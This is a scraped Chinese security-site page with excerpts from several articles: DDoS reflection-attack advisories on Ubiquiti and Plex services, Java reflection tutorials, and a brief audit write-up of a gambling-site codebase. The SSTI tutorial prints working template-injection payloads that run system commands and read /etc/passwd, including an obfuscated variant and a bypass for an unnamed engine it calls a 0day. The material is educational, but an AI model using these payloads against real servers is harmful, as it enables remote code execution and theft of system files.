全网数据1)Ubiquiti公司介绍Ubiquiti公司主要在全球范围内设计、制造和销售创新性的网络设备。主品涵盖了无线设备,安全网关,交换机,远程管理控制器和摄像机这五种设备。目前Ubiquiti公司的产品部署在全球超过180个国家和地区。Ubiquiti公司的设备在10001端口会开启AP发现服务,该服务采用UDP传输数据,并且支持客户端采用组播或者单播的请求方式进行数据交互。2)反射源智云盾共捕获到的反射源达到39002个。通过对反射源IP进行调查发现。反射源分布在全球82个国家和地区,其中42%的反射源分布在美国。验证发现这些设备都为Ubiquiti公司的设备并且10001端口对公网UDP请求数据包都响应,TOP10地区分布如下图:图10 反射源分布地区TOP10从zoomeye上对全球10001端口进行检索发现,全球约有百万台公网设备主动暴露了10001端口。这些设备都将可被用作反射源进行攻击,如下图所示:图11 zoomeye全球数据我们在zoomeye上查询被攻击者恶意修改主机名的数据发现,共计8W多Ubiquiti设备被恶意修改了主机名。图12 被恶意破坏主机名的设备0x05 防范建议此次攻击是黑客利用固定设备厂商的UDP服务缺陷发起的DDoS反射放大攻击。反射攻击相比较传统的洪泛攻击具有更好的隐蔽性,并且流量更大的特点。从我们近期对新型攻击的监测发现,黑客在寻找新的攻击方式上不再拘泥于传统公共服务,而是对暴露在公网,并且具备一定规模的UDP服务都尝试利用作为反射源。针对此次攻击行为我们建议相关厂商参考下面方式提升防护能力。对Ubiquiti公司10001的AP发现服务应该限制请求响应字节数比例为1:1对使用Ubiquiti公司设备的企业用户在设备或者上层交换机配置策略,限制非本网段的UDP包请求10001端口.遵循Ubiquiti的建议,禁止使用AP发现服务如果必须使用AP发现服务,升级开放10001端口的AP发现服务为最新版0x06 智云盾团队介绍智云盾防护系统基于百度安全成熟的防御技术,为数据中心建设安全基础设施。具备本地快速检测和防御DDoS,同时能自动化拓展T级云防。并集成一系列百度安全能力,在提高数据中心防御DDoS基础上,具备完善的安全威胁检测和防御能力。 本文始发于微信公众号(百度安全实验室):基于Ubiquiti设备发现协议的反射攻击
阅读全文
从安全角度谈Java反射机制--终章 SecIN安全技术社区

从安全角度谈Java反射机制--终章

前言    通过前两章的了解,大家对Java反射机制有了一定的认知。本章作为反射篇的最终章,如果从反序列化的层面来说Java反射的具体危害,需要一些反序列化的基础知识。故笔者决定从反射机制本身来说,它的一个经常被使用的点---Server-Side Template Injection(简称SSTI),中文名服务器端模板注入。 SSTI    模板引擎被广泛应用于Web应用程序中,通过网页和电子邮件呈现动态数据。将用户输入内容不安全嵌入到模板中,实现服务器端模板注入。SSTI极其容易被误认为是跨站点脚本(XSS),大多数人经常与之擦肩而过。与XSS不同的是,模板注入可以用于直接攻击Web服务器内部,并经常获得远程代码执行(RCE)。模板注入可以通过开发人员的错误配置,通过故意暴露模板,开发人员试图通过来其提供丰富的功能,就像维基、博客、营销应用和内容管理等系统。   先看通用的Java SSTI的payload,payload中的T通常是需要声明的变量,每一个模板引擎都不同。在这里,我们不能发现已经可以看到反射的“影子”了,下面会从每一个模板来具体分析介绍任何使用反射从SSTI到RCE。 1. 获取系统环境变量 ${T(java.lang.System).getenv()} 2. 读取文件内容 * ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} * ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} Template 前言    这里模板引擎是国内的模板引擎,漏洞还未必收录,故暂不公布,这里只做学习研究。如果你无意中接触过这个模板,如果你认出了这个模板,那么恭喜你获得0day一枚。笔者有一个请求如果你认出了,就不要公布了,0day你自己知道就好了。此款模板引擎禁止使用了java.lang.Runtime和java.lang.ProcessBuilder类的使用,使用Java的反射机制完美的bypass。 payload构造 javascript ${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec", @java.lang.Class.forName("java.lang.String")).invoke( @java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")} 1. 我们且看第一行,按照上面给出简单案例方法,我们应该这样子就可以了@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(newInstance(),"calc") 2. 但是直接String.class直接写模板是找不到的,所以我们得继续构造payload,将String.class转化@java.lang.Class.forName("java.lang.String")的形式,然后payload就变成下面这样子了。@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(newInstance(),"calc") 3. 照道理上面就可以直接使用了,但是呢Runtime类没有无参构造方法,因此不能使用newInstance()方法来实例化。只能通过调用getRuntime()方法来进行实例化。所以newInstance()得替换成@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null)最终payload就变成了下面这样子。 javascript ${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")} Velocity 前言    Velocity是一个基于Java的模板引擎,是隶属于Apache旗下的一个开源项目。它允许任何人使用简单而强大的模板语言来引用Java代码中定义的对象。    下面是Velocity的SSTI的payload,此时的你可能会有个疑问。payload语法好像有点奇怪?这个其实是模板语法,每一个模板引擎的语法都不同。笔者觉得大同小异,有过编程的基础童鞋,稍加学习就能明白。 ```java set($x="") set($rt=$x.class.forName("java.lang.Runtime")) set($chr=$x.class.forName("java.lang.Character")) set($str=$x.class.forName("java.lang.String")) set($ex=$rt.getRuntime().exec("calc"))$ex.waitFor() set($out=$ex.getInputStream()) foreach($i in )$str.valueOf($chr.toChars($out.read())) end ``` #set语法    #set语法可以创建一个Velocity的变量,#set语法对应的Velocity语法树是ASTSetDirective类,翻开这个类的代码,可以发现它有两个子节点:分别是RightHandSide和LeftHandSide,分别代表“=”两边的表达式值。与Java语言的赋值操作有点不一样的是,左边的LeftHandSide可能是一个变量标识符,也可能是一个set方法调用。变量标识符很好理解,如前面的#set($ var=“偶数”),另外是一个set方法调用,如#set($person.name=”junshan”),这实际上相当于Java中person.setName(“junshan”)方法的调用。 foreach语法    Velocity中的循环语法只有这一种,它与Java中的for循环的语法糖形式十分类似,如#foreach($ child in $person.children) $ person.children表示的是一个集合,它可能是一个List集合或者一个数组,而$ child表示的是每个从集合中取出的值。从render方法代码中可以看出,Velocity首先是取得$ person.children的值,然后将这个值封装成Iterator集合,然后依次取出这个集合中的每一个值,将这个值以$child为变量标识符放入context中。除此以外需要特别注意的是,Velocity在循环时还在context中放入了另外两个变量,分别是counterName和hasNextName,这两个变量的名称分别在配置文件配置项directive.foreach.counter.name和directive.foreach.iterator.name中定义,它们表示当前的循环计数和是否还有下一个值。前者相当于for(int i=1;i<10;i++)中的i值,后者相当于while(it.hasNext())中的it.hasNext()的值,这两个值在#foreach的循环体中都有可能用到。由于elementKey、counterName和hasNextName是在#foreach中临时创建的,如果当前的context中已经存在这几个变量,要把原始的变量值保存起来,以便在这个#foreach执行结束后恢复。如果context中没有这几个变量,那么#foreach执行结束后要删除它们,这就是代码最后部分做的事情,这与我们前面介绍的#set语法没有范围限制不同,#foreach中临时产生的变量只在#foreach中有效。 更多语法知识推荐Velocity中文文档。 反射Payload    了解语法之后,回头看payload会觉得很简单,其实就是基本的payload的构造。 ```java set($x="") set($rt=$x.class.forName("java.lang.Runtime")) set($chr=$x.class.forName("java.lang.Character")) set($str=$x.class.forName("java.lang.String")) set($ex=$rt.getRuntime().exec("calc"))$ex.waitFor() set($out=$ex.getInputStream()) foreach($i in )$str.valueOf($chr.toChars($out.read())) end 把payload转化成伪代码。java rt = java.lang.Runtime.class chr = java.lang.String ex = java.lang.Runtime.getRuntime().exec("calc") ex.waitFor() // 接着就是循环读取输出 ``` 推荐一个经典案例...
阅读全文
从安全角度谈Java反射机制--序章 SecIN安全技术社区

从安全角度谈Java反射机制--序章

前言    众所周知,Java目前影响最大的是反序列化漏洞,换一句话说Java安全是从反序列化漏洞开始,但反序列化漏洞又可以基于反射,这次笔者带你走进Java安全的大门。    Java反序列化的payload大多与反射机制密切相关,但仅仅是因为这个吗?答案肯定是片面的。反射作为大多数编程语言里必不可缺的组成部分,对象可以通过反射获取其他的类,类可以通过反射拿到所有的方法(包括私有方法),获取到方法可以调用。一句话,反射给Java等类似的静态语言赋予了“灵魂”。 ps: 本文实验代码都上传JavaLearnVulnerability项目,为了让更多人知道,麻烦动动小手star一下。 反射基础    Java反射操作的对象是java.lang.Class对象,如果想要使用Java反射,首先得获取Class对象。下面我们看一段代码。 java public static void main(String args) throws Exception { Class cls = Class.forName(className); cls.getMethod(methodName).invoke(cls.newInstance()); } 示例代码中,笔者演示几个比较重要的方法: * 获取类对象的方法forName * 从获取类对象中获取方法 getMethod * 执行得到获取的方法的方法invoke * 实例化对象newInstance ps:当然反射不可能仅仅只是这些方法,下面中笔者有提及其他的方法,当然不可能是全部都一一道来,正所谓授之与鱼,不如授之于渔。更多方法建议大家去看JDK文档,在线的文档百度一搜就有。 类源码    首先笔者构造了两个类students和classdemo1。 实体类students源码: ```java public class Students { private Integer age = 18; private String name = "samny"; private Integer CardId = 332323223; private Integer id = 10012; private String hello = "hello world"; public Students(Integer age, String name, Integer cardId, Integer id, String hello) { this.age = age; this.name = name; this.CardId = cardId; this.id = id; this.hello = hello; } @Override...
阅读全文
预警:基于Plex媒体播放平台的DDoS反射攻击来袭 安全文章

预警:基于Plex媒体播放平台的DDoS反射攻击来袭

0x00  概述      百度智云盾团队在2021年1月首次捕获到利用Plex(媒体播放平台)的网络服务发起的DDoS反射攻击。据现有资料表明,这种反射攻击方式尚属全网首次出现,智云盾系统在2秒内识别攻击,实时对流量做了隔离和清洗,保障用户免遭DDoS的伤害。      本次攻击事件中黑客利用了基于Plex服务发起的DDoS反射攻击,Plex是一套媒体播放平台,基于UDP协议提供服务,由于UDP协议的不可靠性质,导致开启该服务的主机容易被黑客利用作为反射源进行DDoS反射攻击。0x01  反射原理      攻击者采用反射方式实施DDoS攻击时,不是直接攻击受害者IP,而是伪造了大量受害者IP的请求发给相应的开放服务,通常这类开放服务不对源进行校验而是立即完成响应,这样更大更多的响应数据包发送到受害者IP,从而实现了流量的反射,这类开放服务就是反射源。      原理如下图所示:图1 反射攻击原理示意图      图1中攻击者P伪造了请求包BA并发送到PA,但BA的源IP是PV,所以PA响应的时候发送BV给到PV。      反射攻击一方面隐藏了攻击IP,同时还有一个重要特征是放大,上述原理图中的BV往往是BA的好几倍,甚至是成千上万倍。正是有了这样的特性,黑客组织乐此不疲的使用这一攻击方式,并不断的研究新型反射攻击增强攻击效果。 0x02攻击分析      智云盾系统检测到攻击时,自动对攻击流量进行采样,安全专家对采样包及时进行了深层次的分析和演练。本次攻击事件共涉及反射源2451个。攻击包分析      通过分析智云盾的攻击采样包发现,反射流量的端口来自于32414端口,下图红色箭头指向的是反射源端口:图2 采样包内攻击来源端口图      采样包中udp携带的攻击载荷如下图所示:图3 攻击载荷      数据包中的攻击载荷固定包含plex/media-server,通过搜索分析,这是一套媒体播放平台的服务器软件。攻击载荷如下图所示: 图4 格式化后的攻击载荷攻击模拟      为了进一步分析,我们在一台纯净的ubuntu16.04上安装了Plex服务,安装完成后查看服务绑定的端口号,如下图所示:图5       可以看到Plex服务监听32410、32412、32413和32414四个udp端口,通过对攻击载荷的分析,并借鉴设备查询请求的消息格式,我们编写软件向这几个端口发送攻击载荷为M-SEARCH * HTTP/1.1的udp数据包,并针对反射源IP进行抓包,最后发现32410与32414均有响应。复现攻击如下图所示: 图6 反射源的响应 图7 抓包结果       我们在模拟攻击请求的验证中,发出一个载荷长度为20字节,获取到的响应包载荷为258字节。放大倍数      按照我们前期对反射倍数的研究结果,科学的统计放大倍数,应当包括数据包协议头和网络帧间隙。详细的方案可以参阅《MEMCACHED DRDoS攻击趋势》一文。      协议头和网络帧间隙计算为:14(以太头)+20(IP头)+8(UDP头)+4(FCS头)+20(帧间隙)=66字节,所以计算实际响应的数据包大小为258+66=324字节,请求包大小为20+66=86字节。      最终我们计算得到的放大倍数为324/86=3.77倍。      对比udpflood可以伪造大数据包攻击,3.77倍的放大攻击实际能达到的效果并不理想,攻击者之所以热衷于此类探索,一方面是反射攻击是个『技术活』,另一方面他们还有一个倍数『更大』的计算方法,业内也比较流行,就是只计算请求响应的载荷比。这里的Plex反射则可以达到258/20=12.9倍,放大倍数一下就超过了10倍。0x03反射源分析Plex服务介绍       Plex是一套全面的影音媒体播放平台,包括一整套媒体播放器及服务器软件,个人用户可以利用这个平台整理电脑、NAS、XBOX等设备上的电影、音乐、电视和图片文件,并可以方便的在朋友间分享。Plex服务向个人用户免费开放,支持大多数平台,随着家庭影音的普及,相信未来部署Plex服务系统或设备会越来越多。全网数据       我们在shodan、zoomeye等全网扫描数据库中查询32410、32414等端口获取到的IP数据非常少,说明当前Plex服务受关注度还比较低。       受限于其他原因,我们没有对Plex服务进行全网扫描。反射源分析       对参与此次攻击的反射源进行了调查分析,其中被利用的反射源主要来源于海外。下图是IP分布情况: 图8 反射源IP分布       通过分析攻击包载荷中的name字段(主机标识)可以发现,主机标识大多数不重复,且未使用默认的主机标识,多数为个人用户配置使用。下图展示了此次攻击的反射源主机信息: 图9 反射源的主机信息0x04防范建议      反射攻击与传统的flood攻击相比,能更好的隐藏攻击者,并且产生的流量更大,因而反射攻击越来越受到黑客青睐。      建议参考以下方式提升防护能力。对互联网服务应避免被滥用,充当黑客攻击的帮凶禁用UDP服务,不能禁用时,应确保响应与请求不要有倍数关系启用的UDP服务应采取授权认证,对未授权请求不予响应对企业用户应做好防范,减少DDoS对自有网络和业务的影响如果没有UDP相关业务,可以在上层交换机或者本机防火墙过滤UDP包寻求运营商提供UDP黑洞的IP网段做对外网站服务选择接入DDoS云防安全服务对抗大规模的DDoS攻击 本文始发于微信公众号(百度安全实验室):预警:基于Plex媒体播放平台的DDoS反射攻击来袭
阅读全文
java反射学习记录 安全文章

java反射学习记录

声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。No.1前言最近在学习java的反序列化,而其中java的反射机制经常被提到,所以再深入学习一下java的反射,也算是给自己打一个基础。No.2反射概念Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。反射被视为动态语言的关键。(自己的理解就是 当程序在运行的时候,动态地去加载一些之前用不到的类,不需要将其加载到jvm中,而在运行时需要加载的。)举个栗子一个项目底层需要使用mysql,而有时候是使用oracle,所以根据实际情况来使用数据库的驱动类,这时候就需要利用反射了,假设com.java.dbtest.myqlConnection,com.java.dbtest.oracleConnection这两个类我们要用,这时候我们的程序就写得比较动态化,通过Class aClass = Class.forName("com.java.dbtest.TestConnection");通过类的全类名让jvm找到并加载这个类,而如果是oracle则传入的参数就变成另一个了。No.3反射获取类的信息这里通过反射获得类的变量还有方法。先写一个实体类,分别有public private修饰符修饰的变量和方法。2.1 类的变量信息这边先了解Field类,代表了类的成员变量就行,获取方法苏需要的method类一样。public class GetInformation {public static void main(String args) throws Exception { //1.通过类名获取类,并且打印类名 Class carClass = Car.class; System.out.println("类名称:"+carClass.getName()); //2.1 获取修饰符为public的信息 //通过getFields获取类的信息返回一个数组 Field publicFields = carClass.getFields(); //2.2 获取修饰符为private的信息 //getDeclaredFields()不会在意修饰符 Field privateFields = carClass.getDeclaredFields(); //3.遍历数组获取反射得到的变量属性 for(Field Fields:publicFields){ //获取访问的权限并且输出变量属性 //Field的g`etModifiers()方法返回int类型值表示该字段的修饰符。 int modifiers = Fields.getModifiers(); System.out.println("修饰符:"+Modifier.toString(modifiers)+ " 变量的类型:"+Fields.getType()+ " 变量的名称:"+Fields.getName() ); } System.out.println("---------------"); for(Field Fields:privateFields){ //获取访问的权限并且输出变量属性 int modifiers = Fields.getModifiers(); System.out.println("修饰符:"+Modifier.toString(mo`difiers)+ " 变量的类型:"+Fields.getType()+ " 变量的名称:"+Fields.getName() ); }}一些方法的解释都在注释上了,这里就不在解释了,主要是注意一下注释中 2.1 的 getFields() 与 2.2的 getDeclaredFields() 之间的区别。放上运行后的结果:发现上面的getFields 没有private修饰符的变量,而getDeclaredFields()不管是public还是private的都输出了。对了, getModifiers()方法解释在上面这边说一下运行后int数值所代表的修饰符对应表如下:PUBLIC: 1PRIVATE: 2PROTECTED: 4STATIC: 8FINAL: 16SYNCHRONIZED: 32VOLATILE: 64TRANSIENT: 128NATIVE: 256INTERFACE: 512ABSTRACT: 1024STRICT: 20482.2 类的方法信息直接上代码public class GetMethod {public static void main(String args) { //1.通过类名获取类,并且打印类名 Class...
阅读全文
对某bc代码的一次代码审计 代码审计

对某bc代码的一次代码审计

路由分析:在之前的文章中有写到对于自写框架的代码需要分析路由,这套代码路由就在index中:其实这段代码光猜就能猜出来他的大概意思,分析过TP的朋友都知道就是:http://127.0.0.1/控制器/方法往下看会发现一个比较重要的地方:这里用到了反射这个概念,其实在PHP中反射并不常用,Java、C#中才是反射用到最多的地方。什么是反射?简单的来说就是你不需要实例化这个类你就能知道这个类的所有属性、方法并调用他们。从上面的代码中我们可以看到,该代码只允许调用带有Final修饰符的方法。我们看完方法调用后需要在看他的参数传递:这段代码所表达的意思就是:http://www.baidu.com/控制器/方法/参数1/参数2注意没有参数名,也就是说如果是方法接收参数我们可以直接通过这种方式去传递参数。主动过滤:这里会把所有超全局变量中的值进行addslashes转义。XSS1:为了方便各位看到漏洞核心代码我对一些代码进行了马赛克处理,新手在审计代码的时候主要的问题就是被绕的头晕。目标从POST中获取了bankId、cardNo、subAddress然后直接插入了数据库XSS2:首先目标会从POST中获取到Name参数然后将fullname放入到了pare数组中最后插入数据库。注入我们之前说了代码有主动过滤,所以不能从GETPOST等超全局变量中取值那么我们之前分析的传参方式就显得异常重要了:http://www.baidu.com/控制器/方法/参数1/参数2这样的话是不走主动过滤的,如果在利用这个逻辑他代码安全性就变得异常低了起来。类似的代码片段还有很多,我就不列出来了。前台RCE:懂得都懂。。。。 本文始发于微信公众号(疯猫网络):对某bc代码的一次代码审计
阅读全文